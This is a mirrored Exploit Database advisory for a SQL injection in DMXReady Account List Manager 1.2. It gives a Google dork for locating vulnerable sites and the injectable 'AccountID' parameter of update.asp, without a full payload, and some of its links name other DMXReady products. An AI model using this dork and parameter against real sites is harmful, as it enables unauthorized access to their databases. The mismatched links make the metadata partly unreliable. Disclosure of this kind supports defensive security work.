DMXReady Account List Manager 1.2 – SQL Injection

• Exploit Database
• 11 阅读

• 作者： Bellatrix
  日期： 2011-07-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17483/

• # Exploit Title: DMXReady Account List Manager v1.2 SQL Injection
  Vulnerability
  # Google Dork: inurl:inc_billboardmanager_summary_popup.asp<http://demo.dmxready.com/applications/CatalogManager/inc_catalogmanager.asp>
  # Date: 03.07.2011
  # Author: Bellatrix
  # Software Link:
  http://www.dmxready.com/?product=account-list-manager<http://www.dmxready.com/?product=news-manager>
  # Version: v1.2
  #Language: ASP
  # Price : $99.97
  #Demo :
  http://demo.dmxready.com/applications/AccountListManager/inc_accountlistmanager.asp
  # Tested on: Windows XP Sp3
  # Greetz : VoLqaN , Toprak and All Cyber-Warrior TIM members....
  ---------------------------------------------------------------------------------------------------
  Bug;
  
  http://target/path/admin/AccountListManager/update.asp?AccountID=xx [ SQL ATTACK]